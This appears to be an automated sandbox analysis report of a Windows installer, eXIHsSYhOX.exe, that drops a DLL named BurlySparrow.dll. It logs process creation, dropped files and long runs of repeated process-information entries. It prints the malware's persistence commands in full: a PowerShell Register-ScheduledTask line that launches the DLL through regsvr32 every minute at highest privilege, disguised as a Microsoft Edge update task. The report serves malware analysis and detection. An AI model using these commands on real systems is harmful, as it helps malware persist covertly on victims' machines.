Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }"	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{2F534156-472A-43D2-9350-94580B483BA3}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }"

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 7_2_6C855C30 CreateTimerQueue,CreateEventW,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,CreateEventW,WaitForSingleObject,SetEvent,DeleteTimerQueue,

7_2_6C855C30

Source: eXIHsSYhOX.exe	Static PE information: section name: .didata
Source: eXIHsSYhOX.tmp.0.dr	Static PE information: section name: .didata
Source: eXIHsSYhOX.tmp.5.dr	Static PE information: section name: .didata
Source: is-L5KBT.tmp.6.dr	Static PE information: section name: .didata
Source: is-SF7GG.tmp.6.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp

Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\BurlySparrow.dll"

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_0264411F push es; iretd	7_2_02644137
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_02639EF5 push ecx; ret	7_2_02639F08
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F975D3 push eax; retn 0000h	7_2_04F975DA
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F8A5CA push ecx; ret	7_2_04F8A5DD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F947F4 push es; iretd	7_2_04F9480C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_04F8D10D push esp; retf 0040h	7_2_04F8D10E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_027336B8 push ebx; iretd	10_2_027336DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_06F03EAE push dword ptr [eax+eax*2-75h]; iretd	10_2_06F03EB4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_06F0007F push ss; iretd	10_2_06F0009A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08099B37 push 006ACFEDh; iretd	10_2_08099B62
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_080953E2 push eax; retf	10_2_080953E9

Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	File created: C:\Users\user\AppData\Local\Temp\is-FHHU1.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	File created: C:\Users\user\AppData\Roaming\is-SF7GG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	File created: C:\Users\user\AppData\Local\Temp\is-14VP5.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	File created: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	File created: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	File created: C:\Users\user\AppData\Local\is-L5KBT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	File created: C:\Users\user\AppData\Local\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	File created: C:\Users\user\AppData\Roaming\BurlySparrow.dll (copy)	Jump to dropped file

Boot Survival

Uses Register-ScheduledTask to add task schedules

Source: C:\Windows\SysWOW64\regsvr32.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{2F534156-472A-43D2-9350-94580B483BA3}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\eXIHsSYhOX.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
